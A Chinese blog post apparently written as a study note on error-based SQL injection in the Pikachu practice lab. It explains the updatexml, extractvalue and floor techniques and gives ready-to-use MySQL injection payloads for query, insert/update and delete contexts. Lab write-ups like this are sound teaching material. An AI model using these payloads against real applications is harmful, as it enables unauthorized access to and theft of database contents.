Pumpkin-Man

活到老_学到老!

0%

Pikachu靶场之SQL注入-基于报错的注入

Pikachu靶场之SQL注入-基于报错的注入

  • 报错注入:利用插入函数中错误的语法来进行报错,从而将想要的信息提取出来。

    • 需要条件:后端并没有将数据库报错信息给屏蔽或者将报错页面进行一个错误页面调转,导致语法错误时,一些重要信息会被显示在前端。
  • updatexml():函数是 Mysql 对 XML 文档数据进行查询和修改的 Xpath 函数

    • 函数语法:updatexml(xml_document,XPathstring,new_vale) 有三个参数

    • updatexml函数报错的关键在于XPathstring参数,xpath定位必须是有效的,否则将会发生错误

    • 下面用Pikachu平台进行测试验证

      • Payload:LawAdge' AND updatexml(1,concat(0x7e,database()),0)# 获取数据库名称

        0Acg9e.png

      • Payload:LawAdge' AND updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#获取表名

        0Ac6hD.png

    • 在insert/update下测试

      • Payload:LawAdge' or updatexml(1,concat(0x7e,database()),0) or '

        0A2SsA.png

    • 在delect注入下测试

      • 抓取post包 插入payload

      • Payload:1 or updatexml(1,concat(0x7e,database()),0) 需要url编码

        0A2XT0.png

  • extractvalue()`:同 updatexml 一样

    • 语法格式:ExtractValue(Xml_domucent,XPath_string) 有两个参数

    • 原理跟updatexml函数差不多 报错的关键在于XPathstring参数,xpath定位必须是有效的,否则将会发生错误

      • Payload:LawAdge' and extractvalue(1,concat(0x7e,database()))#

        0AR4BR.png

  • floor(): Mysql 中用来取整的函数

  • floor原理可以参考此文

    • Payload:LawAdge' or (select 2 from (select count(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

      0A4vz8.png